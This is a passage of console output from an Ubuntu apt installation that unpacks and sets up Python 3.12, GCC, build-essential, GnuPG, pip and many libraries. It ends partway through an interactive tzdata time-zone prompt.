.../7-libpython3.12-stdlib_3.12.3-1ubuntu0.12_amd64.deb ... Unpacking libpython3.12-stdlib:amd64 (3.12.3-1ubuntu0.12) ... Selecting previously unselected package python3.12. Preparing to unpack .../8-python3.12_3.12.3-1ubuntu0.12_amd64.deb ... Unpacking python3.12 (3.12.3-1ubuntu0.12) ... Selecting previously unselected package libpython3-stdlib:amd64. Preparing to unpack .../9-libpython3-stdlib_3.12.3-0ubuntu2.1_amd64.deb ... Unpacking libpython3-stdlib:amd64 (3.12.3-0ubuntu2.1) ... Setting up python3-minimal (3.12.3-0ubuntu2.1) ... Selecting previously unselected package python3. (Reading database ... 5720 files and directories currently installed.) Preparing to unpack .../0-python3_3.12.3-0ubuntu2.1_amd64.deb ... Unpacking python3 (3.12.3-0ubuntu2.1) ... Selecting previously unselected package perl-modules-5.38. Preparing to unpack .../1-perl-modules-5.38_5.38.2-3.2ubuntu0.2_all.deb ... Unpacking perl-modules-5.38 (5.38.2-3.2ubuntu0.2) ... Selecting previously unselected package libgdbm6t64:amd64. Preparing to unpack .../2-libgdbm6t64_1.23-5.1build1_amd64.deb ... Unpacking libgdbm6t64:amd64 (1.23-5.1build1) ... Selecting previously unselected package libgdbm-compat4t64:amd64. Preparing to unpack .../3-libgdbm-compat4t64_1.23-5.1build1_amd64.deb ... Unpacking libgdbm-compat4t64:amd64 (1.23-5.1build1) ... Selecting previously unselected package libperl5.38t64:amd64. Preparing to unpack .../4-libperl5.38t64_5.38.2-3.2ubuntu0.2_amd64.deb ... Unpacking libperl5.38t64:amd64 (5.38.2-3.2ubuntu0.2) ... Selecting previously unselected package perl. Preparing to unpack .../5-perl_5.38.2-3.2ubuntu0.2_amd64.deb ... Unpacking perl (5.38.2-3.2ubuntu0.2) ... Selecting previously unselected package adduser. Preparing to unpack .../6-adduser_3.137ubuntu1_all.deb ... Unpacking adduser (3.137ubuntu1) ... Setting up adduser (3.137ubuntu1) ... Selecting previously unselected package openssl. (Reading database ... 7801 files and directories currently installed.) Preparing to unpack .../000-openssl_3.0.13-0ubuntu3.7_amd64.deb ... Unpacking openssl (3.0.13-0ubuntu3.7) ... Selecting previously unselected package ca-certificates. Preparing to unpack .../001-ca-certificates_20240203_all.deb ... Unpacking ca-certificates (20240203) ... Selecting previously unselected package libbsd0:amd64. Preparing to unpack .../002-libbsd0_0.12.1-1build1.1_amd64.deb ... Unpacking libbsd0:amd64 (0.12.1-1build1.1) ... Selecting previously unselected package python3-pkg-resources. Preparing to unpack .../003-python3-pkg-resources_68.1.2-2ubuntu1.2_all.deb ... Unpacking python3-pkg-resources (68.1.2-2ubuntu1.2) ... Selecting previously unselected package libjansson4:amd64. Preparing to unpack .../004-libjansson4_2.14-2build2_amd64.deb ... Unpacking libjansson4:amd64 (2.14-2build2) ... Selecting previously unselected package libpng16-16t64:amd64. Preparing to unpack .../005-libpng16-16t64_1.6.43-5ubuntu0.5_amd64.deb ... Unpacking libpng16-16t64:amd64 (1.6.43-5ubuntu0.5) ... Selecting previously unselected package libxau6:amd64. Preparing to unpack .../006-libxau6_1%3a1.0.9-1build6_amd64.deb ... Unpacking libxau6:amd64 (1:1.0.9-1build6) ... Selecting previously unselected package libxdmcp6:amd64. Preparing to unpack .../007-libxdmcp6_1%3a1.1.3-0ubuntu6_amd64.deb ... Unpacking libxdmcp6:amd64 (1:1.1.3-0ubuntu6) ... Selecting previously unselected package libxcb1:amd64. Preparing to unpack .../008-libxcb1_1.15-1ubuntu2_amd64.deb ... Unpacking libxcb1:amd64 (1.15-1ubuntu2) ... Selecting previously unselected package libx11-data. Preparing to unpack .../009-libx11-data_2%3a1.8.7-1build1_all.deb ... Unpacking libx11-data (2:1.8.7-1build1) ... Selecting previously unselected package libx11-6:amd64. Preparing to unpack .../010-libx11-6_2%3a1.8.7-1build1_amd64.deb ... Unpacking libx11-6:amd64 (2:1.8.7-1build1) ... Selecting previously unselected package manpages. Preparing to unpack .../011-manpages_6.7-2_all.deb ... Unpacking manpages (6.7-2) ... Selecting previously unselected package xz-utils. Preparing to unpack .../012-xz-utils_5.6.1+really5.4.5-1ubuntu0.2_amd64.deb ... Unpacking xz-utils (5.6.1+really5.4.5-1ubuntu0.2) ... Selecting previously unselected package binutils-common:amd64. Preparing to unpack .../013-binutils-common_2.42-4ubuntu2.10_amd64.deb ... Unpacking binutils-common:amd64 (2.42-4ubuntu2.10) ... Selecting previously unselected package libsframe1:amd64. Preparing to unpack .../014-libsframe1_2.42-4ubuntu2.10_amd64.deb ... Unpacking libsframe1:amd64 (2.42-4ubuntu2.10) ... Selecting previously unselected package libbinutils:amd64. Preparing to unpack .../015-libbinutils_2.42-4ubuntu2.10_amd64.deb ... Unpacking libbinutils:amd64 (2.42-4ubuntu2.10) ... Selecting previously unselected package libctf-nobfd0:amd64. Preparing to unpack .../016-libctf-nobfd0_2.42-4ubuntu2.10_amd64.deb ... Unpacking libctf-nobfd0:amd64 (2.42-4ubuntu2.10) ... Selecting previously unselected package libctf0:amd64. Preparing to unpack .../017-libctf0_2.42-4ubuntu2.10_amd64.deb ... Unpacking libctf0:amd64 (2.42-4ubuntu2.10) ... Selecting previously unselected package libgprofng0:amd64. Preparing to unpack .../018-libgprofng0_2.42-4ubuntu2.10_amd64.deb ... Unpacking libgprofng0:amd64 (2.42-4ubuntu2.10) ... Selecting previously unselected package binutils-x86-64-linux-gnu. Preparing to unpack .../019-binutils-x86-64-linux-gnu_2.42-4ubuntu2.10_amd64.deb ... Unpacking binutils-x86-64-linux-gnu (2.42-4ubuntu2.10) ... Selecting previously unselected package binutils. Preparing to unpack .../020-binutils_2.42-4ubuntu2.10_amd64.deb ... Unpacking binutils (2.42-4ubuntu2.10) ... Selecting previously unselected package libc-dev-bin. Preparing to unpack .../021-libc-dev-bin_2.39-0ubuntu8.7_amd64.deb ... Unpacking libc-dev-bin (2.39-0ubuntu8.7) ... Selecting previously unselected package linux-libc-dev:amd64. Preparing to unpack .../022-linux-libc-dev_6.8.0-107.107_amd64.deb ... Unpacking linux-libc-dev:amd64 (6.8.0-107.107) ... Selecting previously unselected package libcrypt-dev:amd64. Preparing to unpack .../023-libcrypt-dev_1%3a4.4.36-4build1_amd64.deb ... Unpacking libcrypt-dev:amd64 (1:4.4.36-4build1) ... Selecting previously unselected package rpcsvc-proto. Preparing to unpack .../024-rpcsvc-proto_1.4.2-0ubuntu7_amd64.deb ... Unpacking rpcsvc-proto (1.4.2-0ubuntu7) ... Selecting previously unselected package libc6-dev:amd64. Preparing to unpack .../025-libc6-dev_2.39-0ubuntu8.7_amd64.deb ... Unpacking libc6-dev:amd64 (2.39-0ubuntu8.7) ... Selecting previously unselected package gcc-13-base:amd64. Preparing to unpack .../026-gcc-13-base_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking gcc-13-base:amd64 (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package libisl23:amd64. Preparing to unpack .../027-libisl23_0.26-3build1.1_amd64.deb ... Unpacking libisl23:amd64 (0.26-3build1.1) ... Selecting previously unselected package libmpfr6:amd64. Preparing to unpack .../028-libmpfr6_4.2.1-1build1.1_amd64.deb ... Unpacking libmpfr6:amd64 (4.2.1-1build1.1) ... Selecting previously unselected package libmpc3:amd64. Preparing to unpack .../029-libmpc3_1.3.1-1build1.1_amd64.deb ... Unpacking libmpc3:amd64 (1.3.1-1build1.1) ... Selecting previously unselected package cpp-13-x86-64-linux-gnu. Preparing to unpack .../030-cpp-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking cpp-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package cpp-13. Preparing to unpack .../031-cpp-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking cpp-13 (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package cpp-x86-64-linux-gnu. Preparing to unpack .../032-cpp-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ... Unpacking cpp-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... Selecting previously unselected package cpp. Preparing to unpack .../033-cpp_4%3a13.2.0-7ubuntu1_amd64.deb ... Unpacking cpp (4:13.2.0-7ubuntu1) ... Selecting previously unselected package libcc1-0:amd64. Preparing to unpack .../034-libcc1-0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libcc1-0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libgomp1:amd64. Preparing to unpack .../035-libgomp1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libgomp1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libitm1:amd64. Preparing to unpack .../036-libitm1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libitm1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libatomic1:amd64. Preparing to unpack .../037-libatomic1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libatomic1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libasan8:amd64. Preparing to unpack .../038-libasan8_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libasan8:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package liblsan0:amd64. Preparing to unpack .../039-liblsan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking liblsan0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libtsan2:amd64. Preparing to unpack .../040-libtsan2_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libtsan2:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libubsan1:amd64. Preparing to unpack .../041-libubsan1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libubsan1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libhwasan0:amd64. Preparing to unpack .../042-libhwasan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libhwasan0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libquadmath0:amd64. Preparing to unpack .../043-libquadmath0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... Unpacking libquadmath0:amd64 (14.2.0-4ubuntu2~24.04.1) ... Selecting previously unselected package libgcc-13-dev:amd64. Preparing to unpack .../044-libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking libgcc-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package gcc-13-x86-64-linux-gnu. Preparing to unpack .../045-gcc-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking gcc-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package gcc-13. Preparing to unpack .../046-gcc-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking gcc-13 (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package gcc-x86-64-linux-gnu. Preparing to unpack .../047-gcc-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ... Unpacking gcc-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... Selecting previously unselected package gcc. Preparing to unpack .../048-gcc_4%3a13.2.0-7ubuntu1_amd64.deb ... Unpacking gcc (4:13.2.0-7ubuntu1) ... Selecting previously unselected package libstdc++-13-dev:amd64. Preparing to unpack .../049-libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking libstdc++-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package g++-13-x86-64-linux-gnu. Preparing to unpack .../050-g++-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking g++-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package g++-13. Preparing to unpack .../051-g++-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ... Unpacking g++-13 (13.3.0-6ubuntu2~24.04.1) ... Selecting previously unselected package g++-x86-64-linux-gnu. Preparing to unpack .../052-g++-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ... Unpacking g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... Selecting previously unselected package g++. Preparing to unpack .../053-g++_4%3a13.2.0-7ubuntu1_amd64.deb ... Unpacking g++ (4:13.2.0-7ubuntu1) ... Selecting previously unselected package make. Preparing to unpack .../054-make_4.3-4.1build2_amd64.deb ... Unpacking make (4.3-4.1build2) ... Selecting previously unselected package libdpkg-perl. Preparing to unpack .../055-libdpkg-perl_1.22.6ubuntu6.5_all.deb ... Unpacking libdpkg-perl (1.22.6ubuntu6.5) ... Selecting previously unselected package bzip2. Preparing to unpack .../056-bzip2_1.0.8-5.1build0.1_amd64.deb ... Unpacking bzip2 (1.0.8-5.1build0.1) ... Selecting previously unselected package patch. Preparing to unpack .../057-patch_2.7.6-7build3_amd64.deb ... Unpacking patch (2.7.6-7build3) ... Selecting previously unselected package lto-disabled-list. Preparing to unpack .../058-lto-disabled-list_47_all.deb ... Unpacking lto-disabled-list (47) ... Selecting previously unselected package dpkg-dev. Preparing to unpack .../059-dpkg-dev_1.22.6ubuntu6.5_all.deb ... Unpacking dpkg-dev (1.22.6ubuntu6.5) ... Selecting previously unselected package build-essential. Preparing to unpack .../060-build-essential_12.10ubuntu1_amd64.deb ... Unpacking build-essential (12.10ubuntu1) ... Selecting previously unselected package gpgconf. Preparing to unpack .../061-gpgconf_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking gpgconf (2.4.4-2ubuntu17.4) ... Selecting previously unselected package libksba8:amd64. Preparing to unpack .../062-libksba8_1.6.6-1build1_amd64.deb ... Unpacking libksba8:amd64 (1.6.6-1build1) ... Selecting previously unselected package libsasl2-modules-db:amd64. Preparing to unpack .../063-libsasl2-modules-db_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ... Unpacking libsasl2-modules-db:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... Selecting previously unselected package libsasl2-2:amd64. Preparing to unpack .../064-libsasl2-2_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ... Unpacking libsasl2-2:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... Selecting previously unselected package libldap2:amd64. Preparing to unpack .../065-libldap2_2.6.10+dfsg-0ubuntu0.24.04.1_amd64.deb ... Unpacking libldap2:amd64 (2.6.10+dfsg-0ubuntu0.24.04.1) ... Selecting previously unselected package dirmngr. Preparing to unpack .../066-dirmngr_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking dirmngr (2.4.4-2ubuntu17.4) ... Selecting previously unselected package libfakeroot:amd64. Preparing to unpack .../067-libfakeroot_1.33-1_amd64.deb ... Unpacking libfakeroot:amd64 (1.33-1) ... Selecting previously unselected package fakeroot. Preparing to unpack .../068-fakeroot_1.33-1_amd64.deb ... Unpacking fakeroot (1.33-1) ... Selecting previously unselected package fonts-dejavu-mono. Preparing to unpack .../069-fonts-dejavu-mono_2.37-8_all.deb ... Unpacking fonts-dejavu-mono (2.37-8) ... Selecting previously unselected package fonts-dejavu-core. Preparing to unpack .../070-fonts-dejavu-core_2.37-8_all.deb ... Unpacking fonts-dejavu-core (2.37-8) ... Selecting previously unselected package fontconfig-config. Preparing to unpack .../071-fontconfig-config_2.15.0-1.1ubuntu2_amd64.deb ... Unpacking fontconfig-config (2.15.0-1.1ubuntu2) ... Selecting previously unselected package gnupg-utils. Preparing to unpack .../072-gnupg-utils_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking gnupg-utils (2.4.4-2ubuntu17.4) ... Selecting previously unselected package gpg. Preparing to unpack .../073-gpg_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking gpg (2.4.4-2ubuntu17.4) ... Selecting previously unselected package pinentry-curses. Preparing to unpack .../074-pinentry-curses_1.2.1-3ubuntu5_amd64.deb ... Unpacking pinentry-curses (1.2.1-3ubuntu5) ... Selecting previously unselected package gpg-agent. Preparing to unpack .../075-gpg-agent_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking gpg-agent (2.4.4-2ubuntu17.4) ... Selecting previously unselected package gpgsm. Preparing to unpack .../076-gpgsm_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking gpgsm (2.4.4-2ubuntu17.4) ... Selecting previously unselected package keyboxd. Preparing to unpack .../077-keyboxd_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking keyboxd (2.4.4-2ubuntu17.4) ... Selecting previously unselected package gnupg. Preparing to unpack .../078-gnupg_2.4.4-2ubuntu17.4_all.deb ... Unpacking gnupg (2.4.4-2ubuntu17.4) ... Selecting previously unselected package gnupg-l10n. Preparing to unpack .../079-gnupg-l10n_2.4.4-2ubuntu17.4_all.deb ... Unpacking gnupg-l10n (2.4.4-2ubuntu17.4) ... Selecting previously unselected package gpg-wks-client. Preparing to unpack .../080-gpg-wks-client_2.4.4-2ubuntu17.4_amd64.deb ... Unpacking gpg-wks-client (2.4.4-2ubuntu17.4) ... Selecting previously unselected package javascript-common. Preparing to unpack .../081-javascript-common_11+nmu1_all.deb ... Unpacking javascript-common (11+nmu1) ... Selecting previously unselected package libalgorithm-diff-perl. Preparing to unpack .../082-libalgorithm-diff-perl_1.201-1_all.deb ... Unpacking libalgorithm-diff-perl (1.201-1) ... Selecting previously unselected package libalgorithm-diff-xs-perl:amd64. Preparing to unpack .../083-libalgorithm-diff-xs-perl_0.04-8build3_amd64.deb ... Unpacking libalgorithm-diff-xs-perl:amd64 (0.04-8build3) ... Selecting previously unselected package libalgorithm-merge-perl. Preparing to unpack .../084-libalgorithm-merge-perl_0.08-5_all.deb ... Unpacking libalgorithm-merge-perl (0.08-5) ... Selecting previously unselected package libaom3:amd64. Preparing to unpack .../085-libaom3_3.8.2-2ubuntu0.1_amd64.deb ... Unpacking libaom3:amd64 (3.8.2-2ubuntu0.1) ... Selecting previously unselected package libbrotli1:amd64. Preparing to unpack .../086-libbrotli1_1.1.0-2build2_amd64.deb ... Unpacking libbrotli1:amd64 (1.1.0-2build2) ... Selecting previously unselected package libfreetype6:amd64. Preparing to unpack .../087-libfreetype6_2.13.2+dfsg-1ubuntu0.1_amd64.deb ... Unpacking libfreetype6:amd64 (2.13.2+dfsg-1ubuntu0.1) ... Selecting previously unselected package libfontconfig1:amd64. Preparing to unpack .../088-libfontconfig1_2.15.0-1.1ubuntu2_amd64.deb ... Unpacking libfontconfig1:amd64 (2.15.0-1.1ubuntu2) ... Selecting previously unselected package libsharpyuv0:amd64. Preparing to unpack .../089-libsharpyuv0_1.3.2-0.4build3_amd64.deb ... Unpacking libsharpyuv0:amd64 (1.3.2-0.4build3) ... Selecting previously unselected package libheif-plugin-aomdec:amd64. Preparing to unpack .../090-libheif-plugin-aomdec_1.17.6-1ubuntu4.2_amd64.deb ... Unpacking libheif-plugin-aomdec:amd64 (1.17.6-1ubuntu4.2) ... Selecting previously unselected package libde265-0:amd64. Preparing to unpack .../091-libde265-0_1.0.15-1build3_amd64.deb ... Unpacking libde265-0:amd64 (1.0.15-1build3) ... Selecting previously unselected package libheif-plugin-libde265:amd64. Preparing to unpack .../092-libheif-plugin-libde265_1.17.6-1ubuntu4.2_amd64.deb ... Unpacking libheif-plugin-libde265:amd64 (1.17.6-1ubuntu4.2) ... Selecting previously unselected package libheif1:amd64. Preparing to unpack .../093-libheif1_1.17.6-1ubuntu4.2_amd64.deb ... Unpacking libheif1:amd64 (1.17.6-1ubuntu4.2) ... Selecting previously unselected package libjpeg-turbo8:amd64. Preparing to unpack .../094-libjpeg-turbo8_2.1.5-2ubuntu2_amd64.deb ... Unpacking libjpeg-turbo8:amd64 (2.1.5-2ubuntu2) ... Selecting previously unselected package libjpeg8:amd64. Preparing to unpack .../095-libjpeg8_8c-2ubuntu11_amd64.deb ... Unpacking libjpeg8:amd64 (8c-2ubuntu11) ... Selecting previously unselected package libdeflate0:amd64. Preparing to unpack .../096-libdeflate0_1.19-1build1.1_amd64.deb ... Unpacking libdeflate0:amd64 (1.19-1build1.1) ... Selecting previously unselected package libjbig0:amd64. Preparing to unpack .../097-libjbig0_2.1-6.1ubuntu2_amd64.deb ... Unpacking libjbig0:amd64 (2.1-6.1ubuntu2) ... Selecting previously unselected package liblerc4:amd64. Preparing to unpack .../098-liblerc4_4.0.0+ds-4ubuntu2_amd64.deb ... Unpacking liblerc4:amd64 (4.0.0+ds-4ubuntu2) ... Selecting previously unselected package libwebp7:amd64. Preparing to unpack .../099-libwebp7_1.3.2-0.4build3_amd64.deb ... Unpacking libwebp7:amd64 (1.3.2-0.4build3) ... Selecting previously unselected package libtiff6:amd64. Preparing to unpack .../100-libtiff6_4.5.1+git230720-4ubuntu2.5_amd64.deb ... Unpacking libtiff6:amd64 (4.5.1+git230720-4ubuntu2.5) ... Selecting previously unselected package libxpm4:amd64. Preparing to unpack .../101-libxpm4_1%3a3.5.17-1build2_amd64.deb ... Unpacking libxpm4:amd64 (1:3.5.17-1build2) ... Selecting previously unselected package libgd3:amd64. Preparing to unpack .../102-libgd3_2.3.3-9ubuntu5_amd64.deb ... Unpacking libgd3:amd64 (2.3.3-9ubuntu5) ... Selecting previously unselected package libc-devtools. Preparing to unpack .../103-libc-devtools_2.39-0ubuntu8.7_amd64.deb ... Unpacking libc-devtools (2.39-0ubuntu8.7) ... Selecting previously unselected package libexpat1-dev:amd64. Preparing to unpack .../104-libexpat1-dev_2.6.1-2ubuntu0.4_amd64.deb ... Unpacking libexpat1-dev:amd64 (2.6.1-2ubuntu0.4) ... Selecting previously unselected package libfile-fcntllock-perl. Preparing to unpack .../105-libfile-fcntllock-perl_0.22-4ubuntu5_amd64.deb ... Unpacking libfile-fcntllock-perl (0.22-4ubuntu5) ... Selecting previously unselected package libheif-plugin-aomenc:amd64. Preparing to unpack .../106-libheif-plugin-aomenc_1.17.6-1ubuntu4.2_amd64.deb ... Unpacking libheif-plugin-aomenc:amd64 (1.17.6-1ubuntu4.2) ... Selecting previously unselected package libjs-jquery. Preparing to unpack .../107-libjs-jquery_3.6.1+dfsg+~3.5.14-1_all.deb ... Unpacking libjs-jquery (3.6.1+dfsg+~3.5.14-1) ... Selecting previously unselected package libjs-underscore. Preparing to unpack .../108-libjs-underscore_1.13.4~dfsg+~1.11.4-3_all.deb ... Unpacking libjs-underscore (1.13.4~dfsg+~1.11.4-3) ... Selecting previously unselected package libjs-sphinxdoc. Preparing to unpack .../109-libjs-sphinxdoc_7.2.6-6_all.deb ... Unpacking libjs-sphinxdoc (7.2.6-6) ... Selecting previously unselected package libldap-common. Preparing to unpack .../110-libldap-common_2.6.10+dfsg-0ubuntu0.24.04.1_all.deb ... Unpacking libldap-common (2.6.10+dfsg-0ubuntu0.24.04.1) ... Selecting previously unselected package libpython3.12t64:amd64. Preparing to unpack .../111-libpython3.12t64_3.12.3-1ubuntu0.12_amd64.deb ... Unpacking libpython3.12t64:amd64 (3.12.3-1ubuntu0.12) ... Selecting previously unselected package zlib1g-dev:amd64. Preparing to unpack .../112-zlib1g-dev_1%3a1.3.dfsg-3.1ubuntu2.1_amd64.deb ... Unpacking zlib1g-dev:amd64 (1:1.3.dfsg-3.1ubuntu2.1) ... Selecting previously unselected package libpython3.12-dev:amd64. Preparing to unpack .../113-libpython3.12-dev_3.12.3-1ubuntu0.12_amd64.deb ... Unpacking libpython3.12-dev:amd64 (3.12.3-1ubuntu0.12) ... Selecting previously unselected package libpython3-dev:amd64. Preparing to unpack .../114-libpython3-dev_3.12.3-0ubuntu2.1_amd64.deb ... Unpacking libpython3-dev:amd64 (3.12.3-0ubuntu2.1) ... Selecting previously unselected package libsasl2-modules:amd64. Preparing to unpack .../115-libsasl2-modules_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ... Unpacking libsasl2-modules:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... Selecting previously unselected package manpages-dev. Preparing to unpack .../116-manpages-dev_6.7-2_all.deb ... Unpacking manpages-dev (6.7-2) ... Selecting previously unselected package python3.12-dev. Preparing to unpack .../117-python3.12-dev_3.12.3-1ubuntu0.12_amd64.deb ... Unpacking python3.12-dev (3.12.3-1ubuntu0.12) ... Selecting previously unselected package python3-dev. Preparing to unpack .../118-python3-dev_3.12.3-0ubuntu2.1_amd64.deb ... Unpacking python3-dev (3.12.3-0ubuntu2.1) ... Selecting previously unselected package python3-setuptools. Preparing to unpack .../119-python3-setuptools_68.1.2-2ubuntu1.2_all.deb ... Unpacking python3-setuptools (68.1.2-2ubuntu1.2) ... Selecting previously unselected package python3-wheel. Preparing to unpack .../120-python3-wheel_0.42.0-2_all.deb ... Unpacking python3-wheel (0.42.0-2) ... Selecting previously unselected package python3-pip. Preparing to unpack .../121-python3-pip_24.0+dfsg-1ubuntu1.3_all.deb ... Unpacking python3-pip (24.0+dfsg-1ubuntu1.3) ... Setting up libksba8:amd64 (1.6.6-1build1) ... Setting up pinentry-curses (1.2.1-3ubuntu5) ... Setting up media-types (10.1.0) ... Setting up javascript-common (11+nmu1) ... Setting up libsharpyuv0:amd64 (1.3.2-0.4build3) ... Setting up libaom3:amd64 (3.8.2-2ubuntu0.1) ... Setting up libxau6:amd64 (1:1.0.9-1build6) ... Setting up lto-disabled-list (47) ... Setting up liblerc4:amd64 (4.0.0+ds-4ubuntu2) ... Setting up libgdbm6t64:amd64 (1.23-5.1build1) ... Setting up libgdbm-compat4t64:amd64 (1.23-5.1build1) ... Setting up manpages (6.7-2) ... Setting up libbrotli1:amd64 (1.1.0-2build2) ... Setting up libsqlite3-0:amd64 (3.45.1-1ubuntu2.5) ... Setting up libsasl2-modules:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... Setting up binutils-common:amd64 (2.42-4ubuntu2.10) ... Setting up libdeflate0:amd64 (1.19-1build1.1) ... Setting up linux-libc-dev:amd64 (6.8.0-107.107) ... Setting up libctf-nobfd0:amd64 (2.42-4ubuntu2.10) ... Setting up libgomp1:amd64 (14.2.0-4ubuntu2~24.04.1) ... Setting up bzip2 (1.0.8-5.1build0.1) ... Setting up libldap-common (2.6.10+dfsg-0ubuntu0.24.04.1) ... Setting up libjbig0:amd64 (2.1-6.1ubuntu2) ... Setting up libsframe1:amd64 (2.42-4ubuntu2.10) ... Setting up libfakeroot:amd64 (1.33-1) ... Setting up libjansson4:amd64 (2.14-2build2) ... Setting up libsasl2-modules-db:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... Setting up tzdata (2026a-0ubuntu0.24.04.1) ... debconf: unable to initialize frontend: Dialog debconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 79.) debconf: falling back to frontend: Readline Configuring tzdata ------------------ Please select the geographic area in which you live. Subsequent configuration questions will narrow this down by presenting a list of cities, representing the time zones in which they are located. 1. Africa 2. America 3. Antarctica 4. Arctic 5. Asia 6. Atlantic 7. Australia 8. Europe 9. Indian 10. Pacific 11. Etc 12. Legacy Geographic area: 2 Please select the city or region corresponding to your time zone. 1. Adak 19. Asuncion 37. Chicago 55. Ensenada 73. Indiana/Tell_City 91. Marigot 109. Noronha 127. Recife 145. Swift_Current 2. Anchorage 20. Atikokan 38. Chihuahua 56. Fort_Nelson 74. Indiana/Vevay 92. Martinique 110. North_Dakota/Beulah 128. Regina 146. Tegucigalpa 3. Anguilla 21. Atka 39. Ciudad_Juarez 57. Fortaleza 75. Indiana/Vincennes 93. Matamoros 111. North_Dakota/Center 129. Resolute 147. Thule 4. Antigua 22. Bahia 40. Coral_Harbour 58. Glace_Bay 76. Indiana/Winamac 94. Mazatlan 112. North_Dakota/New_Salem 130. Rio_Branco 148. Thunder_Bay 5. Araguaina 23. Bahia_Banderas 41. Costa_Rica 59. Goose_Bay 77. Inuvik 95. Menominee 113. Nuuk 131. Santa_Isabel 149. Tijuana 6. Argentina/Buenos_Aires 24. Barbados 42. Coyhaique 60. Grand_Turk 78. Iqaluit 96. Merida 114. Ojinaga 132. Santarem 150. Toronto 7. Argentina/Catamarca 25. Belem 43. Creston 61. Grenada 79. Jamaica 97. Metlakatla 115. Panama 133. Santiago 151. Tortola 8. Argentina/Cordoba 26. Belize 44. Cuiaba 62. Guadeloupe 80. Juneau 98. Mexico_City 116. Pangnirtung 134. Santo_Domingo 152. Vancouver 9. Argentina/Jujuy 27. Blanc-Sablon 45. Curacao 63. Guatemala 81. Kentucky/Louisville 99. Miquelon 117. Paramaribo 135. Sao_Paulo 153. Virgin 10. Argentina/La_Rioja 28. Boa_Vista 46. Danmarkshavn 64. Guayaquil 82. Kentucky/Monticello 100. Moncton 118. Phoenix 136. Scoresbysund 154. Whitehorse 11. Argentina/Mendoza 29. Bogota 47. Dawson 65. Guyana 83. Kralendijk 101. Monterrey 119. Port-au-Prince 137. Shiprock 155. Winnipeg 12. Argentina/Rio_Gallegos 30. Boise 48. Dawson_Creek 66. Halifax 84. La_Paz 102. Montevideo 120. Port_of_Spain 138. Sitka 156. Yakutat 13. Argentina/Salta 31. Cambridge_Bay 49. Denver 67. Havana 85. Lima 103. Montreal 121. Porto_Acre 139. St_Barthelemy 157. Yellowknife 14. Argentina/San_Juan 32. Campo_Grande 50. Detroit 68. Hermosillo 86. Los_Angeles 104. Montserrat 122. Porto_Velho 140. St_Johns 15. Argentina/San_Luis 33. Cancun 51. Dominica 69. Indiana/Indianapolis 87. Lower_Princes 105. Nassau 123. Puerto_Rico 141. St_Kitts 16. Argentina/Tucuman 34. Caracas 52. Edmonton 70. Indiana/Knox 88. Maceio 106. New_York 124. Punta_Arenas 142. St_Lucia 17. Argentina/Ushuaia 35. Cayenne 53. Eirunepe 71. Indiana/Marengo 89. Managua 107. Nipigon 125. Rainy_River 143. St_Thomas 